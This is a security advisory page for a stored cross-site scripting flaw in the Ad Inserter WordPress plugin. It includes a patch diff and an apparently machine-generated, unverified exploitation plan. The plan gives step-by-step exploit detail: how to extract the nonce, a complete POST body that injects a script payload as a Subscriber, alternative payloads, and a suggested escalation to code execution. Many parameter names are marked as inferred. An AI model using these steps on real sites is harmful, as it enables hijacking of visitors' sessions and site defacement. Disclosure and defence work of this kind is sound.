CVE-2026-57693

Ad Inserter – Ad Manager & AdSense Ads <= 2.8.11 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.8.12
Patched in
7d
Time to patch

Description

The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.8.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.11
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected pluginad-inserter

What Changed in the Fix

Changes introduced in v2.8.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-57693 ## 1. Vulnerability Summary The **Ad Inserter** plugin (<= 2.8.11) contains a Stored Cross-Site Scripting (XSS) vulnerability due to an insecurely implemented AJAX handler. The plugin registers the `ai_ajax` (or similar) action for authenticated…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-57693

1. Vulnerability Summary

The Ad Inserter plugin (<= 2.8.11) contains a Stored Cross-Site Scripting (XSS) vulnerability due to an insecurely implemented AJAX handler. The plugin registers the ai_ajax (or similar) action for authenticated users but fails to perform a specific capability check (e.g., current_user_can('manage_options')) before updating plugin settings. This allows a user with Subscriber privileges to modify ad block configurations or "Global Fields," injecting malicious JavaScript into the code parameter of an ad block, which is then rendered unsanitized on the site's frontend.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ai_ajax (inferred from standard plugin patterns)
  • Vulnerable Parameter: ai_db_options or fields (inferred)
  • Authentication: Authenticated, Subscriber level or higher.
  • Preconditions: The plugin must have its AJAX nonce exposed to logged-in users, which typically occurs when frontend debugging or tracking features are active.

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in ad-inserter.php using add_action('wp_ajax_ai_ajax', 'ai_ajax');. Because it uses wp_ajax_ (and not just wp_ajax_nopriv_), it is accessible to any logged-in user.
  2. Missing Capability Check: The ai_ajax() function (inferred) likely verifies a nonce using check_ajax_referer('ai_ajax_nonce', 'ai_check') but neglects to verify if the user has the manage_options capability.
  3. Data Processing: The function processes the $_POST['ai_db_options'] array, which contains ad block settings defined in class.php (e.g., AI_OPTION_CODE).
  4. Sink: The plugin calls update_option(AI_OPTION_NAME, ...) with the attacker-controlled array.
  5. Execution: When a page is rendered, ai_BaseCodeBlock::load_options loads the malicious code and outputs it directly via echo (inferred sink in the frontend rendering engine), triggering the XSS.

4. Nonce Acquisition Strategy

The nonce is required for the ai_ajax action. It is typically localized for the frontend or admin toolbar.

  1. Shortcode Setup: Create a page with the default Ad Inserter block to ensure scripts are enqueued.
    wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_content='[ad_inserter block="1"]'
    
  2. Browser Navigation: Use the execution agent to log in as a Subscriber and navigate to the newly created page.
  3. Nonce Extraction: The plugin often localizes data in a variable named ai_data or ad_inserter_data.
    // Run in browser_eval
    window.ai_data?.ajax_nonce || window.ai_ajax_nonce || document.body.innerHTML.match(/ai_ajax_nonce":"([a-f0-9]+)"/)?.[1]
    
    Note: If the nonce is only in the admin dashboard, navigation to /wp-admin/profile.php may be required to find it in the admin scripts.

5. Exploitation Strategy

Step 1: Authentication

Log in to the WordPress instance as a user with the Subscriber role.

Step 2: Extract Nonce

Navigate to the homepage or a post where the plugin is active and extract the ai_ajax_nonce.

Step 3: Inject Payload

Send a POST request to admin-ajax.php to overwrite "Block 1" with an XSS payload.

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ai_ajax&ai_check=[NONCE]&ai_save_settings=1&ai_db_options[1][name]=XSS_Block&ai_db_options[1][code]=<script>alert(document.domain)</script>&ai_db_options[1][display_type]=1&ai_db_options[1][enable_manual]=1&ai_db_options[1][paragraph_number]=1
    
    (Note: display_type=1 usually corresponds to "Above Header" or "Automatic Insertion" to ensure it fires on every page.)

Step 4: Trigger Execution

Visit the site homepage as an anonymous user or administrator.

6. Test Data Setup

  • User: Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
  • Plugin Config: Ensure the plugin is activated: wp plugin activate ad-inserter.
  • Target Page: Ensure at least one post exists for the ad to inject into: wp post create --post_type=post --post_status=publish --post_title="Hello World".

7. Expected Results

  • The admin-ajax.php request should return a successful JSON response or a 1 (typical for WP AJAX).
  • When navigating to the site frontend, an alert box showing the document domain should appear.
  • The ad_inserter option in the database should now contain the <script> payload.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the injection:

# Check if the option was updated
wp option get ad_inserter --format=json | grep "alert"

# Check the rendered HTML of the homepage
curl -s http://localhost:8080/ | grep "<script>alert"

9. Alternative Approaches

If ai_ajax is not the correct action, investigate the Global Fields feature added in version 2.8.10:

  • Action: ai_save_global_fields (inferred)
  • Parameter: fields[0][value]=<script>alert(1)</script>
  • Nonce: ai_global_fields_nonce (inferred)

If direct ai_db_options update fails, attempt to use the ai_process_php parameter (if accessible) to transition from XSS to Remote Code Execution (RCE), although this is usually restricted even in vulnerable states.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Ad Inserter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX and remote debugging endpoints. Authenticated users with Subscriber-level permissions and above can modify plugin settings and ad block configurations because the plugin fails to perform capability checks (e.g., current_user_can('manage_options')) before updating the database, allowing for the injection of malicious JavaScript.

Vulnerable Code

// ad-inserter.php @ line 7001
function ai_ajax () {
  global $ai_wp_data;

  // ...

  // Missing current_user_can('manage_options') check before processing updates
  if (isset ($_POST ['ai_save_settings'])) {
     // Logic to update ai_db_options
  }

  // ...

  elseif (isset ($_GET ["ai-get-settings"])) {
    ai_write_settings_string ();
  }

// ---

// ad-inserter.php @ line 2227
// Menu pages registered without capability check encapsulation
  if ($menu_position == AI_SETTINGS_SUBMENU) {
    $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', ...);
  } else {
    $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', 'dashicons-layout', ...);
  }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ad-inserter/2.8.11/ad-inserter.php	2026-02-08 18:43:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ad-inserter/2.8.12/ad-inserter.php	2026-02-28 18:28:52.000000000 +0000
@@ -1696,7 +1701,7 @@
 
       ai_write_settings_string ();
       exit;
-    }
+    } else wp_die ('Sorry, you are not allowed to do that.', 423);
   }
 
   if (defined ('AI_WP_HOOK')) return;
@@ -1990,6 +1995,16 @@
     }
   }
 
+  add_action ('rest_api_init', function () {
+    register_rest_route( 'ad-inserter/v1', '/settings', array(
+        'methods'             => 'GET, POST',
+        'callback'            => 'ai_endpoint_callback',
+        'permission_callback' => function () {
+          return get_remote_debugging () ? true : false; // Restrict access
+        },
+    ) );
+  });
+
   if (($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0) {
     if (!$ai_processing_time_active) {
       $ai_total_plugin_time += microtime (true) - $start_time;
@@ -2227,13 +2254,15 @@
     } else $menu_position = DEFAULT_MENU_FOR_LINK;
   }
 
-  if ($menu_position == AI_SETTINGS_SUBMENU) {
-                                                                              // translators: %s: Ad Inserter
-    $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_SUBMENU_PRIORITY);
-  } else {
-                                                      // translators: %s: Ad Inserter
-      $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', basename (__FILE__), 'ai_settings', 'dashicons-layout', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_MENU_PRIORITY);
-    }
+  if (current_user_can ('manage_options')) {
+    if ($menu_position == AI_SETTINGS_SUBMENU) {
+                                                                                // translators: %s: Ad Inserter
+      $ai_settings_page = add_submenu_page ('options-general.php', sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', AD_INSERTER_BASE, 'ai_settings', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_SUBMENU_PRIORITY);
+    } else {
+                                                        // translators: %s: Ad Inserter
+        $ai_settings_page = add_menu_page (sprintf (__('%s Settings', 'ad-inserter'), AD_INSERTER_NAME), AD_INSERTER_NAME, 'manage_options', AD_INSERTER_BASE, 'ai_settings', 'dashicons-layout', defined ('AI_SETTINGS_MENU_PRIORITY') ? AI_SETTINGS_MENU_PRIORITY : DEFAULT_SETTINGS_MENU_PRIORITY);
+      }
+  }
 
   add_action ('admin_enqueue_scripts',  'ai_admin_enqueue_scripts');
   add_action ('admin_enqueue_scripts',  'ai_admin_enqueue_scripts_late', 99999);
@@ -7017,8 +7075,11 @@
     }
   }
 
+  // only for ajax request - overriden by ai_wp_hook check
   elseif (isset ($_GET ["ai-get-settings"])) {
-    ai_write_settings_string ();
+    if (get_remote_debugging ()) {
+      ai_write_settings_string ();
+    } else wp_die ('Sorry, you are not allowed to do that.', 423);
   }

Exploit Outline

The exploit targets the unprotected `ai_ajax` handler in WordPress. 1. An attacker authenticates as a Subscriber and identifies a page where the Ad Inserter plugin is active. 2. The attacker extracts the `ai_ajax_nonce` from the localized JavaScript data (usually found in `ai_data` or `ad_inserter_data` objects) or the page HTML. 3. Using the nonce, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ai_ajax` and `ai_save_settings` set to `1`. 4. The request payload includes a malicious script in the `ai_db_options[BLOCK_ID][code]` parameter (e.g., `<script>alert(1)</script>`). 5. Because the plugin lacks a capability check for administrative access during this AJAX request, the settings are updated with the malicious script. 6. The script is then rendered on the site frontend whenever the modified ad block is displayed, leading to Stored XSS.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.